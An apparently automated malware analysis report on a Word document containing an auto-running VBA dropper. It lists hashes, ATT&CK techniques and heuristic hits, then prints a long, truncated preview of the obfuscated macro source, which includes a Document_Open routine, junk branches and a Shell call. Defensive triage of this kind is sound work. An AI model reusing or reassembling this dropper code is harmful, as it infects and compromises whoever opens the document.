Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c94511e5cf9973a6…

MALICIOUS

Office (OLE)

567.5 KB Created: 2017-08-15 02:13:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: d604b5fad894309b88d142cbd98c33c5 SHA-1: ead32e67cd999d10ebc9ae59a02e4f98c384e765 SHA-256: c94511e5cf9973a61f01f45280302ef1e20927873939ba2b769533401e26d370
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OLE document containing VBA macros. The 'Document_Open' macro is present and configured to execute, which is a common technique for initiating malicious actions. Heuristics indicate a potential Shell call within the VBA code, suggesting the macro is designed to execute arbitrary commands or download additional payloads. The ClamAV detection 'Doc.Dropper.Agent-6336867-0' further supports the dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6336867-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6336867-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    OMaeuDT5O = Mid(OMaeuDT5O, 27942 / 13971, 27942 / 13971)
    Call VBA.Shell(wGKIw0, uDXJOjLov)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    Dim dkTleMF
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 33049 bytes
SHA-256: 15221bacbdcd8fe4b55a2e70afdc50b4d63d3d12169188f42bb4413d37a056f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
521 of 965 identifiers look randomly generated (e.g. 'nAyKgUWbh5') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim dkTleMF
dkTleMF = "eJDpBYne"
If Mid(dkTleMF, 5) = "z04o8nk2t" Then
MsgBox "qG4AEuF"
End If
Dim ZJgVq
ZJgVq = "ONorh"
ZJgVq = Mid(ZJgVq, 30579 - 30578, 30579 - 30578)
N1JwaW = "y5y"
LpyzDSwu = "az1WL"
N75om = "0N"
Dim VFGQaOxL
VFGQaOxL = "jTaqmsf"
VFGQaOxL = Mid(VFGQaOxL, 8747 - 8744, 8747 - 8744)
Dim HgvOQ
HgvOQ = N1JwaW & LpyzDSwu & N75om
CtlX7I = "lN3ch9Sdy5"
Dim pnriAUqR
pnriAUqR = "v7cfK"
If Mid(pnriAUqR, 5) = "vfjSnrIu" Then
MsgBox "WMuFYCl"
End If
Dim hC6hJX
hC6hJX = "uJ5Iz"
If Mid(hC6hJX, 5) = "HMVWaeo3" Then
MsgBox "hS5C4"
End If
Dim TjlXBq9y
TjlXBq9y = CtlX7I
VLtNie1 = "Gdzl"
V2n9w1R = "3UgQ3Y"
Dim NZmXtub
NZmXtub = "Ag9QOk5W"
If Mid(NZmXtub, 5) = "ekFrfz" Then
MsgBox "Av7U2Ii"
End If
Dim Zdinq
Zdinq = "QWVlw7g"
If Mid(Zdinq, 5) = "nr7cEx" Then
MsgBox "TlrsQcE"
End If
Dim n3PQm9TZ
n3PQm9TZ = "FC50jX"
n3PQm9TZ = Mid(n3PQm9TZ, 3592 - 3588, 3592 - 3588)
Dim p5t4kYpAU
p5t4kYpAU = VLtNie1 & V2n9w1R
nGfUrNl = "HdlN3ch"
Jg7qDM = "9Sd"
Dim to34q1c
to34q1c = "fzpG3kXj"
to34q1c = Mid(to34q1c, 2298 / 1149, 2298 / 1149)
Dim VVW3p8gr
VVW3p8gr = "LA8hBQd0"
If Mid(VVW3p8gr, 5) = "JoIvQdERA" Then
MsgBox "bZOgAY4e"
End If
Dim FuGJIhqLE
FuGJIhqLE = nGfUrNl & Jg7qDM
tylfWr = "gQ"
eWqa4KxBr = "3YlpmYv1"
Dim LTFGYt3
LTFGYt3 = "ZgEcRdXU"
LTFGYt3 = Mid(LTFGYt3, -1272 + 1277, -1272 + 1277)
Dim FNsUx
FNsUx = "eDQrtsW6V"
If Mid(FNsUx, 5) = "Rm07T4Ynd" Then
MsgBox "mtBfA"
End If
Dim Y76RCWS
Y76RCWS = "i7xBT"
Y76RCWS = Mid(Y76RCWS, -7675 + 7678, -7675 + 7678)
Dim gHmC9n
gHmC9n = tylfWr & eWqa4KxBr
jdG7g2S = "oRXYwRy"
xmPoQhr = "Op"
y162YHS = "Y"
Dim rt8wT7PBf
rt8wT7PBf = "DMp0sP1W"
If Mid(rt8wT7PBf, 5) = "E61qkwE4" Then
MsgBox "taz72p"
End If
Dim ItaLFw7
ItaLFw7 = "SEiGe"
ItaLFw7 = Mid(ItaLFw7, 23232 / 5808, 23232 / 5808)
Dim p6jE3G0
p6jE3G0 = "a32kTw"
If Mid(p6jE3G0, 5) = "Y9qFZ" Then
MsgBox "mzfQ6ZJbB"
End If
Dim FQdki
FQdki = "Zswvm"
If Mid(FQdki, 5) = "ycCTdo2J" Then
MsgBox "rJGAP0dzV"
End If
Dim ZavfE3
ZavfE3 = jdG7g2S & xmPoQhr & y162YHS
H1Hje = "gUWbh5GJ"
sjYcDnho = "7k"
Dim CfuJlXcHb
CfuJlXcHb = "IFGcp"
If Mid(CfuJlXcHb, 5) = "zmlXIt" Then
MsgBox "GthBSk"
End If
Dim AXUqgox
AXUqgox = "dhHdEl"
If Mid(AXUqgox, 5) = "nbh3NDyiv" Then
MsgBox "GiO95na7v"
End If
Dim Hx19C
Hx19C = "UepvxzRP"
If Mid(Hx19C, 5) = "JSk85PJ4m" Then
MsgBox "pG5M09Y"
End If
Dim Ui5RvIKGZ
Ui5RvIKGZ = H1Hje & sjYcDnho
gFtW9MAIO = "mZ7cSZ4V"
zw2CIUv50 = "mL"
Dim Boy1Cfv
Boy1Cfv = "KxRzpQ"
If Mid(Boy1Cfv, 5) = "Q3dbF" Then
MsgBox "JcVf8N5w"
End If
Dim a35720TLt
a35720TLt = "ix9CntT6y"
a35720TLt = Mid(a35720TLt, 3530 / 706, 3530 / 706)
Dim D6lhaT
D6lhaT = gFtW9MAIO & zw2CIUv50
h9DgdZ4 = "pJ3YTdFI0"
QzjT6xt = "N"
Dim Rs3ABG8
Rs3ABG8 = "gxisckj"
Rs3ABG8 = Mid(Rs3ABG8, 32196 - 32195, 32196 - 32195)
Dim Ii10QpHy
Ii10QpHy = h9DgdZ4 & QzjT6xt
fpBHgX7z = "2Y0F"
g0VgHz = "2Y9tza"
Dim TmbZO
TmbZO = "RKdXw"
TmbZO = Mid(TmbZO, 190 - 185, 190 - 185)
Dim Zr9FaKx
Zr9FaKx = "cdUR3v"
If Mid(Zr9FaKx, 5) = "pjRq18USw" Then
MsgBox "RVSltjx6"
End If
Dim Rgvh9xl
Rgvh9xl = "pYqZR"
If Mid(Rgvh9xl, 5) = "DieAcphag" Then
MsgBox "vBg47FJPL"
End If
Dim QeWSp5Y
QeWSp5Y = fpBHgX7z & g0VgHz
GKqMI3LE = "0V2cz"
bTGnfa0EO = "F2"
Sxdq2YJ = "L1J"
Dim gVeQFiqdS
gVeQFiqdS = "WW0RYUjuH"
If Mid(gVeQFiqdS, 5) = "trPvbE" Then
MsgBox "RGLxSsn6M"
End If
Dim r3R1FeqM
r3R1FeqM = GKqMI3LE & bTGnfa0EO & Sxdq2YJ
gEGm2iU9 = "v8iOwRHdox"
Dim tXcCOgn
tXcCOgn = "yEOB02z"
If Mid(tXcCOgn, 5) = "uBPqw1" Then
MsgBox "HhSsE31"
End If
Dim zYlPx3CR9
zYlPx3CR9 = "gLTWoOky"
zYlPx3CR9 = Mid(zYlPx3CR9, -741 + 744, -741 + 744)
Dim InsSyuwk
InsSyuwk = gEGm2iU9
QBcvW1 = "hVmcitDa0F"
Dim t6bEGX
t6bEGX = "jaVc8KTN"
t6bEGX = Mid(t6bEGX, 6336 - 6331, 6336 - 6331)
Dim iCgnSE
iCgnSE = QBcvW1
Us27j0u = "nAyKgUWbh5"
Dim U7pyxv
U7pyxv = "pLT79IUOH"
U7pyxv = Mid(U7pyxv, -13635 + 13637, -13635 + 13637)
Dim ucxLE
ucxLE = Us27j0u
vtAgarT = "ydl5GI9AS"
XDQrg1u = Chr(98)
Dim UKv3pX
UKv3pX = "rntCybhF"
UKv3pX = Mid(UKv3pX, 145 - 143, 145 - 143)
Dim BTNl15
BTNl15 = "faJ0Wv4"
If Mid(BTNl15, 5) = "cxXbA6FEI" Then
MsgBox "yQ9Wf"
End If
Dim DPwnGEBe
DPwnGEBe = "neWshPf"
If Mid(DPwnGEBe, 5) = "FFrV9ytP" Then
MsgBox "P03o69u"
End If
Dim BDyFIX
BDyFIX = "GROF03"
BDyFIX = Mid(BDyFIX, 16881 / 5627, 16881 / 5627)
Dim kwnOC
kwnOC = vtAgarT & XDQrg1u
cWU9Sb71 = "lhXZuAn"
Xu1qjASP = "ZvM"
Dim pcvQoIDy1
pcvQoIDy1 = "y9Xnrc4"
pcvQoIDy1 = Mid(pcvQoIDy1, 17684 / 17684, 17684 / 17684)
Dim shzaW
shzaW = cWU9Sb71 & Xu1qjASP
kptgilV = "2Zh1WavMHd"
Dim EIHAM
EIHAM = "LArGZn0O"
EIHAM = Mid(EIHAM, 12821 - 12820, 12821 - 12820)
Dim mYhglC
mYhglC = kptgilV
hi6laxmU = "sVGazJX"
M3QYTmk = "Z39"
Dim H0RJiEw
H0RJiEw = "lx8P412l7"
If Mid(H0RJiEw, 5) = "baw2AOWn" Then
MsgBox "s1evF"
End If
Dim Mco3ubm
Mco3ubm = "fH641KjVX"
Mco3ubm = Mid(Mco3ubm, 470 / 235, 470 / 235)
Dim L7fhmyv
L7fhmyv = hi6laxmU & M3QYTmk
snsmW = "oQH"
WS6ncbM = "el5mL"
pjTlrM = "t9"
Dim BxcO4
BxcO4 = "UKgRef"
BxcO4 = Mid(BxcO4, -4223 + 4225, -4223 + 4225)
Dim ZZYKC
ZZYKC = "YzMt3"
If Mid(ZZYKC, 5) = "y0MEwNm" Then
MsgBox "CaW7xBJ"
End If
Dim Zf0QP
Zf0QP = "i9XHDfp"
If Mid(Zf0QP, 5) = "D0lwFJr" Then
MsgBox "v2079DSwA"
End If
Dim Of14ohJct
Of14ohJct = "r6QCYpK7V"
Of14ohJct = Mid(Of14ohJct, -2815 + 2820, -2815 + 2820)
Dim m5y98tR
m5y98tR = snsmW & WS6ncbM & pjTlrM
wjn59oz = "2L"
jhNCU7x = "1JnLxcDc"
Dim ClV2viro
ClV2viro = "KMqwn"
ClV2viro = Mid(ClV2viro, 3834 / 3834, 3834 / 3834)
Dim n7tdKM2wu
n7tdKM2wu = "yGWV2c"
If Mid(n7tdKM2wu, 5) = "sAcsz25" Then
MsgBox "p8Q2dk"
End If
Dim LTsfj
LTsfj = "HMmVavogC"
If Mid(LTsfj, 5) = "J9Ymn" Then
MsgBox "Y96HRMo0"
End If
Dim DFyQa
DFyQa = wjn59oz & jhNCU7x
qcRd1LG = "X5Cdl5"
XjOhqvR = "kL"
n2zGwF6 = "tV"
Dim FJyHBj
FJyHBj = "tmoYpBRqI"
FJyHBj = Mid(FJyHBj, 21984 / 7328, 21984 / 7328)
Dim SwNLRX
SwNLRX = "S6VbN"
SwNLRX = Mid(SwNLRX, 11644 / 11644, 11644 / 11644)
Dim isIc0f2d
isIc0f2d = qcRd1LG & XjOhqvR & n2zGwF6
kH2DJ = "iOwR"
VzLB3 = "HdoxSZ"
Dim jIGud
jIGud = "VIB8EuF9K"
If Mid(jIGud, 5) = "k6FGMVJ1" Then
MsgBox "Fft0RUG"
End If
Dim Zcjmk
Zcjmk = "wW7pQ"
If Mid(Zcjmk, 5) = "gDfNda" Then
MsgBox "RgQNwC41o"
End If
Dim S2X5nV1E
S2X5nV1E = "hJCMT"
S2X5nV1E = Mid(S2X5nV1E, 6259 - 6255, 6259 - 6255)
Dim cYBCNdI
cYBCNdI = kH2DJ & VzLB3
kMlj1fmy = "WL3Vmbg0"
R1bDaYLx = "DI"
Dim bBGbu
bBGbu = "C5UVZuPjA"
If Mid(bBGbu, 5) = "cFB28o6x" Then
MsgBox "C0XR67Mq"
End If
Dim KxTfX1q
KxTfX1q = kMlj1fmy & R1bDaYLx
V2C1jmLvK = "0hGLlhXZ"
NRtyCAp = "uA"
Dim QkzC9Uc4
QkzC9Uc4 = "QV7N6H"
If Mid(QkzC9Uc4, 5) = "CJE1BQx" Then
MsgBox "O6Dyib5"
End If
Dim b0Hpo3Q
b0Hpo3Q = V2C1jmLvK & NRtyCAp
TK7J5Z = "0tXKzxm"
eZEjJqSw4 = "c1"
uIbQH = Chr(82)
Dim WfyLA
WfyLA = "vqnW9N6"
WfyLA = Mid(WfyLA, -4630 + 4632, -4630 + 4632)
Dim HQwPsMDx
HQwPsMDx = "I6s812RY7"
HQwPsMDx = Mid(HQwPsMDx, -4630 + 4632, -4630 + 4632)
Dim xEhQJZH1Y
xEhQJZH1Y = TK7J5Z & eZEjJqSw4 & uIbQH
zYNToOp = "tAC"
qhxl4Te3p = "djVmai"
Sz0wL5v = "9"
Dim S8vaB
S8vaB = "ihH8s"
S8vaB = Mid(S8vaB, 14100 / 2820, 14100 / 2820)
Dim sagb2qfE6
sagb2qfE6 = "eFA5SLo"
If Mid(sagb2qfE6, 5) = "eCiILsA" Then
MsgBox "La4k5"
End If
Dim SUkYaCV
SUkYaCV = "oDvpQE9"
If Mid(SUkYaCV, 5) = "VfSD7s" Then
MsgBox "l8ya0uoe"
End If
Dim dIEr7NU
dIEr7NU = zYNToOp & qhxl4Te3p & Sz0wL5v
EE0MYKDgZ = "XZu9yL6AH"
Euds1tI = Chr(100)
Dim d2CvGu
d2CvGu = "oji04"
If Mid(d2CvGu, 5) = "N5epivj" Then
MsgBox "Rpe9dyNX"
End If
Dim U5r4tbpI
U5r4tbpI = "LD0ikt82"
If Mid(U5r4tbpI, 5) = "KbE9pzgD" Then
MsgBox "kdb0PB"
End If
Dim cG8bSRy
cG8bSRy = "A3Tm7wGst"
cG8bSRy = Mid(cG8bSRy, -4723 + 4726, -4723 + 4726)
Dim ZUQdO3nVZ
ZUQdO3nVZ = "HRCXF4"
ZUQdO3nVZ = Mid(ZUQdO3nVZ, -4723 + 4726, -4723 + 4726)
Dim zc7Rr
zc7Rr = EE0MYKDgZ & Euds1tI
zYKjNyk7 = "WZqJ2Tt92"
UPWl2kR0 = "Q"
Dim eS29a1Zk
eS29a1Zk = "aQur02S"
eS29a1Zk = Mid(eS29a1Zk, 9044 / 2261, 9044 / 2261)
Dim ZWQt20J
ZWQt20J = zYKjNyk7 & UPWl2kR0
WpBXsELI = "yOt"
rCq0hVrB = "9GZuFmc"
Dim tLBdWK
tLBdWK = "S8eKQg40S"
If Mid(tLBdWK, 5) = "VZ4eb" Then
MsgBox "Zqlgj"
End If
Dim y580X
y580X = "imT1GvPtR"
If Mid(y580X, 5) = "VfG9Y5B6Z" Then
MsgBox "w913jv"
End If
Dim NkoEmiQT
NkoEmiQT = WpBXsELI & rCq0hVrB
VYbiqSjOl = "kACLpg"
fHA8F2ub = "yZul"
Dim ku4Abvfs7
ku4Abvfs7 = "EQDz8Wbi"
ku4Abvfs7 = Mid(ku4Abvfs7, -368 + 371, -368 + 371)
Dim Vx7no9U
Vx7no9U = "f0MIGo"
If Mid(Vx7no9U, 5) = "RgqVZA5E" Then
MsgBox "guxBOH0g"
End If
Dim yuKxWQ1
yuKxWQ1 = VYbiqSjOl & fHA8F2ub
z9Xym = "p9yc0"
TqwacyPpO = "V2czF"
Dim JjxJzrLF
JjxJzrLF = "g95zaoxRX"
If Mid(JjxJzrLF, 5) = "xNbxY" Then
MsgBox "rak93T8FY"
End If
Dim st8L0m
st8L0m = "WrL4xy38"
st8L0m = Mid(st8L0m, -3145 + 3148, -3145 + 3148)
Dim OD3NpY1
OD3NpY1 = z9Xym & TqwacyPpO
kG7Qs = "==Qf9t"
fk8Z5eUnz = "TZnF"
Dim xWhLmF6
xWhLmF6 = "igAF1ioCO"
xWhLmF6 = Mid(xWhLmF6, -7619 + 7621, -7619 + 7621)
Dim YSDZ2NMn
YSDZ2NMn = "rDfkZXa6j"
YSDZ2NMn = Mid(YSDZ2NMn, -7619 + 7621, -7619 + 7621)
Dim jEL8v
jEL8v = "mDT3IXLS"
jEL8v = Mid(jEL8v, -26971 + 26972, -26971 + 26972)
Dim HXIeCxqcB
HXIeCxqcB = kG7Qs & fk8Z5eUnz
p56QCPLBW = "Gblh2UuQHc"
Dim PmnBG
PmnBG = "vBx3bap"
PmnBG = Mid(PmnBG, 3081 - 3076, 3081 - 3076)
Dim Zv1mRP
Zv1mRP = "PQq6GYO"
Zv1mRP = Mid(Zv1mRP, 3081 - 3076, 3081 - 3076)
Dim aYRMVKBPn
aYRMVKBPn = "SPB3j"
aYRMVKBPn = Mid(aYRMVKBPn, 1524 / 762, 1524 / 762)
Dim NUC9jxi5K
NUC9jxi5K = p56QCPLBW
Lkm4tLqw = "mc0N1bU5"
LQ7u6xv3U = "Cb"
Dim uRT4Xy
uRT4Xy = "FZm8J57"
uRT4Xy = Mid(uRT4Xy, 10267 - 10266, 10267 - 10266)
Dim e9dUl
e9dUl = Lkm4tLqw & LQ7u6xv3U
qL3B1ut = "gUGb"
QedVGaB = "5R3U39"
Dim CQJjWS
CQJjWS = "itSsgX"
If Mid(CQJjWS, 5) = "SgWVMos7k" Then
MsgBox "QGQEbuhTa"
End If
Dim TbJ0wP1D
TbJ0wP1D = "o1XtRVf"
If Mid(TbJ0wP1D, 5) = "Nipny2Hlk" Then
MsgBox "xmn7e"
End If
Dim VwlXmkF3
VwlXmkF3 = "RcTGSJ"
If Mid(VwlXmkF3, 5) = "LdCtfea" Then
MsgBox "oBfdmJY4y"
End If
Dim ls89kcfB
ls89kcfB = "fF2MJ"
If Mid(ls89kcfB, 5) = "GA4vCiI" Then
MsgBox "jIwYZQR"
End If
Dim aQuXNa6J
aQuXNa6J = qL3B1ut & QedVGaB
S1TN0XQ = "jd"
lUlBNc38K = "uVGJg0DI"
Dim CEn20wk
CEn20wk = "CzPNAfX"
CEn20wk = Mid(CEn20wk, 17994 - 17993, 17994 - 17993)
Dim icrEp4l5
icrEp4l5 = "H5IQ8S"
icrEp4l5 = Mid(icrEp4l5, 17994 - 17993, 17994 - 17993)
Dim SjHDFCQr
SjHDFCQr = "sWVsLaSlO"
SjHDFCQr = Mid(SjHDFCQr, 29240 - 29239, 29240 - 29239)
Dim HtdoQXi0
HtdoQXi0 = S1TN0XQ & lUlBNc38K
X4x8uAeGp = "g0DIzxm"
xAgdBTw = "c1R"
Dim J75YwUos
J75YwUos = "FikKSba"
If Mid(J75YwUos, 5) = "a2b5h" Then
MsgBox "dJyf2aIj0"
End If
Dim NMZ3XF1
NMZ3XF1 = "TAJslcba1"
If Mid(NMZ3XF1, 5) = "MF1N6" Then
MsgBox "ryDwh7F"
End If
Dim nEDwr
nEDwr = X4x8uAeGp & xAgdBTw
oF7Tk = "gs"
aLYnu3 = "CIw1WZ0p"
Dim vHPXp9Ln
vHPXp9Ln = "pmuTn0"
vHPXp9Ln = Mid(vHPXp9Ln, 10690 / 5345, 10690 / 5345)
Dim QPaIX45
QPaIX45 = "KD2rZ60"
QPaIX45 = Mid(QPaIX45, 10690 / 5345, 10690 / 5345)
Dim Ur8U3M
Ur8U3M = oF7Tk & aLYnu3
yIuXF1rTf = "nZ"
Zh0enc = "vMXZnFWb"
Dim C5SqBnO9
C5SqBnO9 = "CjmM6dyls"
C5SqBnO9 = Mid(C5SqBnO9, 3953 - 3950, 3953 - 3950)
Dim tToCQYziw
tToCQYziw = "qJIM3ULj"
If Mid(tToCQYziw, 5) = "feEXJ" Then
MsgBox "SVg6J4ZM"
End If
Dim CvtH7R5w
CvtH7R5w = "TQzfw1bE"
If Mid(CvtH7R5w, 5) = "qCfqAid" Then
MsgBox "lhBcW1Y"
End If
Dim nTRnch2wA
nTRnch2wA = "jE94z"
If Mid(nTRnch2wA, 5) = "HIlUxVgz" Then
MsgBox "Ej7MS1"
End If
Dim BweuAgLT
BweuAgLT = yIuXF1rTf & Zh0enc
kD3rXnz = "wVn"
IGJB7cOlx = "cn9WZu9"
Dim HPsEaNn
HPsEaNn = "nem6IiguT"
If Mid(HPsEaNn, 5) = "yyWa1A" Then
MsgBox "xansHPomy"
End If
Dim owHzm
owHzm = kD3rXnz & IGJB7cOlx
a5U2Jzrbc = "zM1"
W1jsEFY = "UjNgwS"
gqKSaFeMY = Chr(77)
Dim tIyua
tIyua = "nMpD0S"
tIyua = Mid(tIyua, 10410 / 2082, 10410 / 2082)
Dim Bpvg7
Bpvg7 = "KTfgBkJ"
Bpvg7 = Mid(Bpvg7, 10410 / 2082, 10410 / 2082)
Dim gzW1gL
gzW1gL = a5U2Jzrbc & W1jsEFY & gqKSaFeMY
ZsV1g5 = "sNmYl"
uBAFjVd = "dHJ7"
TIxhNA2H = "w"
Dim PioTCs4
PioTCs4 = "uBLVR"
PioTCs4 = Mid(PioTCs4, 27837 / 9279, 27837 / 9279)
Dim NfYNxA
NfYNxA = ZsV1g5 & uBAFjVd & TIxhNA2H
O5jpN = "2czVW"
QLlGEtD = "Tu42b"
Dim mBkaSG0Py
mBkaSG0Py = "EV8YI"
If Mid(mBkaSG0Py, 5) = "nAmNIDQ" Then
MsgBox "uQMRusr8"
End If
Dim aywJ6Kz
aywJ6Kz = "olhzPGaND"
aywJ6Kz = Mid(aywJ6Kz, 14990 / 2998, 14990 / 2998)
Dim qcXqtH2
qcXqtH2 = O5jpN & QLlGEtD
XhVyuM = "CIul"
KpY3so = "GIsJXd"
Dim nyeh7Y8qO
nyeh7Y8qO = "Sdk650Se"
If Mid(nyeh7Y8qO, 5) = "OMHqT" Then
MsgBox "D9UXb"
End If
Dim ZfZ9H0XaP
ZfZ9H0XaP = "WH6p7e"
ZfZ9H0XaP = Mid(ZfZ9H0XaP, -2551 + 2555, -2551 + 2555)
Dim VDOIFnk
VDOIFnk = XhVyuM & KpY3so
GFEoG = "vRmbhJHJ"
niq5lVj8 = "7Q"
Dim c2ZqaM
c2ZqaM = "pwmtA"
c2ZqaM = Mid(c2ZqaM, -3030 + 3035, -3030 + 3035)
Dim QSZwVk3
QSZwVk3 = "cv240IQ"
If Mid(QSZwVk3, 5) = "NCrhcqb" Then
MsgBox "o17Dn"
End If
Dim u5cSKxeFa
u5cSKxeFa = "sWTz2"
u5cSKxeFa = Mid(u5cSKxeFa, 15500 / 3875, 15500 / 3875)
Dim wi5bQL
wi5bQL = GFEoG & niq5lVj8
mjHM0oAGF = "0BXayN2c"
DSURy = "3R"
Dim ZS2WiBvh
ZS2WiBvh = "HCQPScM"
ZS2WiBvh = Mid(ZS2WiBvh, -1966 + 1971, -1966 + 1971)
Dim psbTK
psbTK = "kGygzHa"
If Mid(psbTK, 5) = "pHFNpVktW" Then
MsgBox "a8E12kh"
End If
Dim vwiZlm3H7
vwiZlm3H7 = "KVeYJH"
vwiZlm3H7 = Mid(vwiZlm3H7, 3608 - 3604, 3608 - 3604)
Dim F3wo7j
F3wo7j = mjHM0oAGF & DSURy
Ci0cUrmTa = "yL6"
ecYpZ1Ni = "AHd0"
JdIahTW = "hGL"
Dim XW5S2Onm
XW5S2Onm = "tiSno"
XW5S2Onm = Mid(XW5S2Onm, -14641 + 14643, -14641 + 14643)
Dim vOpuwb1
vOpuwb1 = "UkDfRph"
If Mid(vOpuwb1, 5) = "XlhOBMk" Then
MsgBox "CnwDV"
End If
Dim Gln2t9K
Gln2t9K = "kRJ4KBN2D"
Gln2t9K = Mid(Gln2t9K, 18380 / 4595, 18380 / 4595)
Dim kpGYr
kpGYr = "MHXmp9"
kpGYr = Mid(kpGYr, 18380 / 4595, 18380 / 4595)
Dim HgvjCke
HgvjCke = Ci0cUrmTa & ecYpZ1Ni & JdIahTW
cdsRY = "ibp1WYr"
NfXwt = "5mb"
Dim XZxsi
XZxsi = "MVXsQeW5k"
XZxsi = Mid(XZxsi, 3154 - 3153, 3154 - 3153)
Dim hlwh9
hlwh9 = cdsRY & NfXwt
ansUc = "tUGdpJ3d7"
AiwPWruOy = "h"
Dim da2Gl
da2Gl = "NYRGWkJxv"
If Mid(da2Gl, 5) = "s0KpYhbD" Then
MsgBox "dHzCu"
End If
Dim LVyoin
LVyoin = "qsMTbYJ"
If Mid(LVyoin, 5) = "PeUhoms" Then
MsgBox "iTgOm"
End If
Dim KuUAoPZ
KuUAoPZ = ansUc & AiwPWruOy
kmKeF2 = "nbllGbD"
OiqzQZ = "JWZ"
Dim fwxF7
fwxF7 = "ZCrbZAtkm"
fwxF7 = Mid(fwxF7, -3012 + 3015, -3012 + 3015)
Dim hrjQ3o
hrjQ3o = "n6RzrF"
If Mid(hrjQ3o, 5) = "yeINWZ" Then
MsgBox "HXShOob"
End If
Dim m28igoBj
m28igoBj = kmKeF2 & OiqzQZ
FZgkKBL = "GI"
fWrfDi0ha = "9ACduVWa"
Dim sJ4jz
sJ4jz = "wE3pjdvxu"
If Mid(sJ4jz, 5) = "aBYFqx6iu" Then
MsgBox "HbU86t"
End If
Dim XnYwzV
XnYwzV = "fj6CE"
XnYwzV = Mid(XnYwzV, -10049 + 10051, -10049 + 10051)
Dim TY6lw
TY6lw = FZgkKBL & fWrfDi0ha
zkpLtSm = "052bw5m"
eLzA7RMHx = "bv8"
Dim vU1BW6
vU1BW6 = "zmfY5Ag"
vU1BW6 = Mid(vU1BW6, 3404 - 3399, 3404 - 3399)
Dim UXVpgWJhx
UXVpgWJhx = "Q3tD2"
UXVpgWJhx = Mid(UXVpgWJhx, 3215 - 3212, 3215 - 3212)
Dim Pg3DHL
Pg3DHL = "y9JlDPe6"
If Mid(Pg3DHL, 5) = "RliUw" Then
MsgBox "NkqGdIA"
End If
Dim qm47t
qm47t = zkpLtSm & eLzA7RMHx
b8Qdoc = "yVHJ"
vErW3O8Y = "oUGbpZ"
Dim tHlv4
tHlv4 = "HIRqEslN1"
tHlv4 = Mid(tHlv4, -6690 + 6693, -6690 + 6693)
Dim djmsC6y
djmsC6y = "kkJlcMpYv"
If Mid(djmsC6y, 5) = "ACgWr3n" Then
MsgBox "jkQ5h"
End If
Dim F2TE5oAi
F2TE5oAi = "XKQq1xI"
If Mid(F2TE5oAi, 5) = "BwC8xui9" Then
MsgBox "Xm4uHa9G"
End If
Dim cJ6NBcu
cJ6NBcu = b8Qdoc & vErW3O8Y
BqC4ok = "nLy92Yulm"
CkZFtqDaA = "e"
Dim r6Ua9B5
r6Ua9B5 = "vGObpZ"
If Mid(r6Ua9B5, 5) = "lVekbvEOl" Then
MsgBox "Rd6D3ANu1"
End If
Dim OFsq8EySh
OFsq8EySh = "zzWKy2O"
OFsq8EySh = Mid(OFsq8EySh, -6281 + 6283, -6281 + 6283)
Dim E8Uly
E8Uly = "VbkPTD"
E8Uly = Mid(E8Uly, -18855 + 18856, -18855 + 18856)
Dim OHwo8ktE
OHwo8ktE = BqC4ok & CkZFtqDaA
vQP0N6Eh = "GZu"
dMx5sNz = "l2VtACb"
Dim cVjNKHLh
cVjNKHLh = "fFsBiw"
If Mid(cVjNKHLh, 5) = "N0rpAYJ3" Then
MsgBox "ekBxwc"
End If
Dim L0Hclg4CO
L0Hclg4CO = "G2Mhj"
If Mid(L0Hclg4CO, 5) = "HFX8ef" Then
MsgBox "BWJLhS5"
End If
Dim TYcE1
TYcE1 = "duOqw9"
If Mid(TYcE1, 5) = "hU31nGa" Then
MsgBox "GQX7A1f"
End If
Dim IMLJt
IMLJt = vQP0N6Eh & dMx5sNz
dC9TvHrD = "Gc"
Dim rCUbia
rCUbia = "qipNPbI"
If Mid(rCUbia, 5) = "SGI2lK08" Then
MsgBox "PNGA5TF"
End If
Dim hArTb
hArTb = "oxwqO4me"
hArTb = Mid(hArTb, 9226 / 4613, 9226 / 4613)
Dim WCvXETr
WCvXETr = dC9TvHrD
iwXbyl6 = "wN"
MTwAH1r = "lL"
DVhPIzgy = "nUGel5"
Dim ihGHkFLTC
ihGHkFLTC = "bamK7G"
If Mid(ihGHkFLTC, 5) = "zZtVsv" Then
MsgBox "BFz8rj"
End If
Dim A0oxwgY7
A0oxwgY7 = iwXbyl6 & MTwAH1r & DVhPIzgy
zjRLq = "GZ"
ZY5jlSP8 = "uFmckASP"
Dim yWjMTCHe
yWjMTCHe = "rGtIgPdk"
If Mid(yWjMTCHe, 5) = "e3tiUkF" Then
MsgBox "kGYRAc"
End If
Dim uhWBJ6
uhWBJ6 = "HwMfrij1"
uhWBJ6 = Mid(uhWBJ6, -244 + 249, -244 + 249)
Dim SrEoduq
SrEoduq = zjRLq & ZY5jlSP8
v2oAi = "yL6AHd0h"
PW6m09a = "2J"
Dim kzBjx
kzBjx = "cXuB69"
If Mid(kzBjx, 5) = "SoDsP" Then
